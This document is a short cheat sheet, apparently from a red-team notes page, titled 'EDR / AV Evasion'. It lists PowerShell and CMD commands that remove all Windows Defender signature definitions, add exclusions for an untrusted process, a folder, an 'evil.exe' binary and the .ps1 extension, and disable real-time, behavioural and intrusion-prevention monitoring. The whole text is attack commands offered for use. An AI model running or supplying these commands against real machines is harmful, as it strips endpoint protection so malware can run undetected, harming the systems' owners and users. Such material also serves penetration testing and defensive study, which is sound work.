EDR / AV Evasion
# Run in CMD or powershell
PS:> cmd /c "%PROGRAMFILES%\Windows Defender\MPCMDRUN.exe" -RemoveDefinitions -All
PS:> C:\Program Files\Windows Defender\MPCMDRUN.EXE -RemoveDefinitions -All# Exclude a process
PS:> Set-MpPreference -ExclusionProcess untrusted.exe
# Exclude a folder
PS:> Set-MpPreference -ExclusionPath C:\Excluded\Path
# Exclude a file
PS:> Set-MpPreference -ExclusionPath C:\location\of\evil\binary\evil.exe
# Exclude an extension
PS:> Set-MpPreference -ExclusionExtension .ps1# Disable real-time protection, behavioural monitoring and intrusion prevention
PS:> Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableBehaviorMonitoring $trueLast updated